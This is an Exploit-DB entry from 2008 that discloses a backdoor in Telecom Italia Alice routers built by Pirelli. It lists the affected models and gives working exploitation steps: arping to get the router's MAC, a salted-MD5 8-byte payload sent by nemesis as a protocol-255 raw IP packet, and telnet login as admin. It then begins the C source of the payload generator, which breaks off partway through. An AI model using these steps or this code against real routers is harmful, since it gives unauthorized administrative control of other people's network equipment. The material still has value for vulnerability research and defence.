Exploit-DB #6750
Description: Telecom Italia Alice Pirelli routers - Backdoor from internal LAN/WAN
Type: remote
Platform: hardware
Date: 2008-10-14
Author: saxdax & drpepperONE

Exploit:
#############################################################################################

                              saxdax & drpepperONE


Discovered embedded backdoor to activate telnet/ftp/tftp/web extended
admin interface with Admin privileges, from internal network lan on
Alice ADSL CPE
Modem/Router, manufactered by Pirelli based on Broadcom platform.

#############################################################################################

                      saxdax & drpepperONE

Router Vendor:          Alice Telecom Italia CPE Modem/Routers manufactered by Pirelli
                              based on Broadcom platform.

Model Affected:         AGA[Alice Gate2 plus Wi-Fi]/AGB[Alice Gate2plus]AG2P-AG3[Alice Gate W2+]
                             /AGPV-AGPF[Alice Gate VoIP 2 Plus Wi-Fi]

Firmware Version:     All AGA/AGB/AG2P-AG3/AGPV-AGPF firmware version are affected.

Platforms:                 Customized Linux version 2.6.8.1 on BroadcomBCM96348 chipset.

Vulnerability:             enable telnet/ftp/tftp and web-admin frominternal lan.

Exploitation:              internal network lan, versus Router

Date:                        13 Oct 2008

Authors:                   saxdax & drpepperONE

e-mail:                     saxdax2@gmail.com           drpepppperone@gmail.com

Risk:                       medium>low

#############################################################################################

1) Introduction
2) Vulnerability
3) The Exploit
4) The Code
5) Fix

#############################################################################################

===============
1) Introduction
===============

Telecom Italia is the most important Italian ISP offering an ADSL
service named "Alice".
Telecom Italia rent out with "Alice Adsl" service, different CPE
Modem/Router among which
the affected ones.
The interface to configure these modems are made extremily poor by the
provider to ensure
more control.
There's no way to enable telnet, ftp, tftp or more advanced web pages
from the web interface.

http://www.telecomitalia.com/
http://adsl.alice.it/

#############################################################################################

================
2) Vulnerability
================

An attacker can activate and get unauthorized access to the routers
administration
interface and telnet/ftp/tftp services from internal network.

Every user in the LAN (or Wireless LAN) can nevertheless have access
to the routers
administration interface and telnet/ftp/tftp!

If an attacker can get access to the administrator interface and
login, he has full control
over the routers configuration.

#############################################################################################


==============
3) The Exploit
==============

To enable telnet/ftp/tftp and web-admin interface it is necessary send a special
IP packet to router specific ip 192.168.1.1.
This works only from internal LAN where an attacker have and ip like
192.168.1.XX.
The ip packet send to router must have the following feature:

1)IP-protocol-number 255 (there's a RAW SOCKET listening on the router)
2)Payload size 8 byte
3)The payload are the first 8 byte of a salted md5 of the mac address
of device br0
4)br0 in these modems has the same mac of eth0

When the modem receives the packet all services will be enabled.


Example:


>From a GNU/LINUX distrib:

1)Retrieve br0 maccaddress:

arping -I eth0 -c 2 192.168.1.1

ARPING 192.168.1.1 from 192.168.1.2 eth0
Unicast reply from 192.168.1.1 [00:01:02:03:04:05]  8.419ms
Unicast reply from 192.168.1.1 [00:01:02:03:04:05]  2.095ms
Sent 2 probes (1 broadcast(s))
Received 2 response(s)


2)Calculate special md5 hash from br0 macaddress: create an hex 6 byte
long file with the mac address.
      run the application below and copy the output hash.
      http://rapidshare.com/files/153439269/AliceBDhashCreator.zip.html

3)Send ip packet to router ip 192.168.1.1 with 8 byte paylod file
(with the tool you like)

      i.e.: nemesis ip -D 192.168.1.1 -p 255 -P hash.hex


4)Telnet to router :

      telnet 192.168.1.1

      BCM96348 ADSL Router
      Login: admin
      [CREDENTIAL_REDACTED]


===========
4) The Code
===========

/* Alice Backdoor Pwd creator by saxdax */
/* this code generates an 8 byte hash to use as the paylod of the ip packet   */
/* the mac must be in an hex file and has to be passed as argument to
the program */

#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include "md5.h"


/*
 *  RFC 1321 compliant MD5 implementation
 *
 *  Copyright (C) 2001-2003  Christophe Devine
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */



#define GET_UINT32(n,b,i)                       \
{                                               \
  (n) = ( (uint32) (b)[(i)    ]       )       \
      | ( (uint32) (b)[(i) + 1] <<  8 )       \
      | ( (uint32) (b)[(i) + 2] << 16 )       \
      | ( (uint32) (b)[(i) + 3] << 24 );      \
}

#define PUT_UINT32(n,b,i)                       \
{